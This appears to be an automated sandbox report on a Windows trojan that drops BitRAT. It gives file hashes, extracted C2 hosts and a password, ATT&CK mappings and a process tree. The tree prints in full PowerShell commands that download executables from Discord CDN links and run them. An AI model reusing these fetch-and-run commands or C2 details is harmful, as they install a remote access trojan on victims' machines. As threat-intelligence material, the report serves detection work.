Analysis

  • max time kernel
    164s
  • max time network
    176s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    29-01-2022 15:49

General

  • Target

    SecuriteInfo.com.Trojan.GenericKD.48131406.23753.exe

  • Size

    46KB

  • MD5

    0c3281387e69e28ac3865135420ec039

  • SHA1

    068bd09ad5f8dae225da6b53754823ed6f194973

  • SHA256

    2d3c256a17925e5102852d2a9ecd212d9118ae9003b9c6cc064a598ef95e4891

  • SHA512

    d8d7a8b678b37b91206db130cbefd522a8b6d3e1617acb981a1ae4367dc48c311ac64b9e973b14bdb0ff9cc6b62481f55b541791244b664907c95a29d9f9ceb0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/935052169835593748/936025628916973638/hissbitrat.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/935052169835593748/936025629655175188/mybitrat.exe

Extracted

Family

bitrat

Version

1.38

C2

linksphere.duckdns.org:1440

anubisgod.duckdns.org:1442

Attributes
  • communication_password

    81dc9bdb52d04dc20036dbd8313ed055

  • install_dir

    Queeno

  • install_file

    Queenol.exe

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 7 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.48131406.23753.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.48131406.23753.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3792
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/935052169835593748/936025628916973638/hissbitrat.exe', (Join-Path -Path $env:AppData -ChildPath 'hissbitrat.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/935052169835593748/936025629655175188/mybitrat.exe', (Join-Path -Path $env:AppData -ChildPath 'mybitrat.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'hissbitrat.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'mybitrat.exe')" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/935052169835593748/936025628916973638/hissbitrat.exe', (Join-Path -Path $env:AppData -ChildPath 'hissbitrat.exe'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:396
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/935052169835593748/936025629655175188/mybitrat.exe', (Join-Path -Path $env:AppData -ChildPath 'mybitrat.exe'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:492
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'hissbitrat.exe')"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Users\Admin\AppData\Roaming\hissbitrat.exe
          "C:\Users\Admin\AppData\Roaming\hissbitrat.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'mybitrat.exe')"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3220
        • C:\Users\Admin\AppData\Roaming\mybitrat.exe
          "C:\Users\Admin\AppData\Roaming\mybitrat.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3180

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    MD5

    224eab1ee8f8bbf6b4683fb79b6055d1

    SHA1

    33cd2fdabbbc241411b813a9a27004ac36e750c1

    SHA256

    9adb51554502af88dcce67501fcf525760236a704332e44775d00cd132c23032

    SHA512

    8b2cfe4959f86f2f67e64d98c44ffd8bb8f9fc04a3a7cad4b8a07d313efb5269ee6986d13c7cfe08e9867bcd70f486c9e60880e78b0d15ab788d4b2075d049a6

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    65ea04345c47ccf5887eee225278ccab

    SHA1

    c440b599b9c78fedd7446370a898ed8d01ffe999

    SHA256

    bd2530d4e24690b3d4c695a0b24b58fd9506394f41961948ae516efe6a783124

    SHA512

    de68f0ae9b849627eafe94d62539164ff845d151bf7044a79ccdf1e3dffbeffccf1274025ac7ed478c581a636f41f5bf0e4468fe5896536cfbc5f37804a9b27a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    3bccc65349b019bd0dbd59a763ee473c

    SHA1

    88ee7fced72f313aa9bb08117343830a2c7e785a

    SHA256

    d4d324dec36ca47807da3ab49ceafd2d636538cef08c221e7423d6667ae0862d

    SHA512

    6cb2babd01e476e8b5cab3edd53a88bb8ffe5e69cc3f047f882972b572a4ab8b5ae2a25185b6c8d72bbee8a9b064a7ed0bd7c3f07a29a1f94c1226c9a378912b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    29ba3c488b0ce79ff131d913df2393a6

    SHA1

    1ec519d550aaf031c42d7c5b337b1a08e40b033b

    SHA256

    3b14eac4e7910c89d7089f6d86af83a5a93ed8184b1326b9a2aa43177c470dcb

    SHA512

    977dcf90645e4bbf818dbfc6c0b5be64fda9d7467204d997137588ff1f6c42ea8ebd3b9613ecd09b58c79a6432baa3545626b7163cb577218cacdc527c5189ec

  • C:\Users\Admin\AppData\Roaming\hissbitrat.exe
    MD5

    09931bfc16fb78b4b9952931b70146a8

    SHA1

    4f2bc81788297b42d31d4468293cd5ae550df606

    SHA256

    3fb7cf15e0dedf52f522b021a21ba82f30c544bc8ee20adf3695e8d0f9f8550d

    SHA512

    b1f2b67c8ce78d129a97abc7e1d17efa07837460d3bee3ad8a108bedaac82c8206bc3485ff30822ef9b9356ca95073c0f3a57f1ee08bf9ba5f387b192ebb7158

  • C:\Users\Admin\AppData\Roaming\hissbitrat.exe
    MD5

    09931bfc16fb78b4b9952931b70146a8

    SHA1

    4f2bc81788297b42d31d4468293cd5ae550df606

    SHA256

    3fb7cf15e0dedf52f522b021a21ba82f30c544bc8ee20adf3695e8d0f9f8550d

    SHA512

    b1f2b67c8ce78d129a97abc7e1d17efa07837460d3bee3ad8a108bedaac82c8206bc3485ff30822ef9b9356ca95073c0f3a57f1ee08bf9ba5f387b192ebb7158

  • C:\Users\Admin\AppData\Roaming\mybitrat.exe
    MD5

    fa6bfb0013165303096d3eb53ca7ed7a

    SHA1

    6b8caf8c8a673fd15bb4146cfe0ab89cb3e1a53d

    SHA256

    445fe1640edcbcd3c21ea1ee3e839f87fbf2970d7f9e6b027287f85bb536a0d7

    SHA512

    2cbf81409db2dd73772b02abc06e04b44ebf62aae164459bec2470f9b36827e1fed193ea438ef4b98575b592d729097ceb09abb88c5e4e3d52ef75078e479f1a

  • C:\Users\Admin\AppData\Roaming\mybitrat.exe
    MD5

    fa6bfb0013165303096d3eb53ca7ed7a

    SHA1

    6b8caf8c8a673fd15bb4146cfe0ab89cb3e1a53d

    SHA256

    445fe1640edcbcd3c21ea1ee3e839f87fbf2970d7f9e6b027287f85bb536a0d7

    SHA512

    2cbf81409db2dd73772b02abc06e04b44ebf62aae164459bec2470f9b36827e1fed193ea438ef4b98575b592d729097ceb09abb88c5e4e3d52ef75078e479f1a

  • memory/396-143-0x0000000007043000-0x0000000007044000-memory.dmp
    Filesize

    4KB

  • memory/396-125-0x0000000007660000-0x000000000767C000-memory.dmp
    Filesize

    112KB

  • memory/396-127-0x00000000084D0000-0x0000000008546000-memory.dmp
    Filesize

    472KB

  • memory/396-134-0x0000000009AF0000-0x000000000A168000-memory.dmp
    Filesize

    6.5MB

  • memory/396-135-0x0000000009290000-0x00000000092AA000-memory.dmp
    Filesize

    104KB

  • memory/396-140-0x00000000093B0000-0x0000000009444000-memory.dmp
    Filesize

    592KB

  • memory/396-141-0x0000000009350000-0x0000000009372000-memory.dmp
    Filesize

    136KB

  • memory/396-142-0x000000000A670000-0x000000000AB6E000-memory.dmp
    Filesize

    5.0MB

  • memory/396-117-0x00000000031A0000-0x00000000031D6000-memory.dmp
    Filesize

    216KB

  • memory/396-122-0x0000000007360000-0x00000000073C6000-memory.dmp
    Filesize

    408KB

  • memory/396-124-0x0000000007DB0000-0x0000000008100000-memory.dmp
    Filesize

    3.3MB

  • memory/396-118-0x0000000007680000-0x0000000007CA8000-memory.dmp
    Filesize

    6.2MB

  • memory/396-119-0x0000000007040000-0x0000000007041000-memory.dmp
    Filesize

    4KB

  • memory/396-126-0x0000000008190000-0x00000000081DB000-memory.dmp
    Filesize

    300KB

  • memory/396-123-0x00000000073D0000-0x0000000007436000-memory.dmp
    Filesize

    408KB

  • memory/396-120-0x0000000007042000-0x0000000007043000-memory.dmp
    Filesize

    4KB

  • memory/396-121-0x00000000072C0000-0x00000000072E2000-memory.dmp
    Filesize

    136KB

  • memory/492-161-0x0000000004B83000-0x0000000004B84000-memory.dmp
    Filesize

    4KB

  • memory/492-149-0x0000000004B80000-0x0000000004B81000-memory.dmp
    Filesize

    4KB

  • memory/492-150-0x0000000004B82000-0x0000000004B83000-memory.dmp
    Filesize

    4KB

  • memory/1276-167-0x00000000069B2000-0x00000000069B3000-memory.dmp
    Filesize

    4KB

  • memory/1276-180-0x00000000069B3000-0x00000000069B4000-memory.dmp
    Filesize

    4KB

  • memory/1276-166-0x00000000069B0000-0x00000000069B1000-memory.dmp
    Filesize

    4KB

  • memory/3220-185-0x0000000004D40000-0x0000000004D41000-memory.dmp
    Filesize

    4KB

  • memory/3220-186-0x0000000004D42000-0x0000000004D43000-memory.dmp
    Filesize

    4KB